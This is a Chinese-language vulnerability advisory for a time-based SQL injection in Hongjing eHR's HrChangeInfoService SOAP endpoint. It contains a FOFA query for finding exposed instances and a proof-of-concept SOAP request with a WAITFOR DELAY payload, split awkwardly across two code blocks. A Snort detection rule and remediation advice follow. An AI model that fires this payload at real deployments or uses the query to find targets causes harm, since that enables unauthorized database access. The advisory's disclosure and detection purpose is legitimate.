

宏景eHR HrChangeInfoService存在SQL注入漏洞

宏景eHR HrChangeInfoService存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

宏景eHR

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="HJSOFT-HCM"

POC/EXP:

```
POST /services/HrChangeInfoService HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:hr="http://www.hjsj.com/HrChangeInfoService">
  <soapenv:Header/>
  <soapenv:Body>
    <hr:getChangeUsers>
      <arg0>
        </arg0>
    </hr:getChangeUsers>
  </soapenv:Body>
</soapenv:Envelope>
```

```
<arg1>admin';WAITFOR DELAY '0:0:5'--</arg1>
<arg2>1</arg2>
</hr:getChangeUsers>
</soapenv:Body>
</soapenv:Envelope>
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"HongJing eHR - SQL Injection in HrChangeInfoService";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/services/HrChangeInfoService"; http_uri;
  content:"Content-Type: application/xml"; http_client_header;
  pcre:"/<arg1>[^<]*('|%27);\\s*WAITFOR\\s+DELAY\\s+'0:0:5'\\s*--/is";
  metadata:service http;
  metadata:affected_product "宏景eHR人力资源管理系统";
  metadata:attack_type "SOAP Time-Based SQL Injection";
  metadata:severity "critical";
  reference:url,www.example.com/vulnldb/hongjing-hrchange-sqli;
  classtype:web-application-attack;
  sid:1000093;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。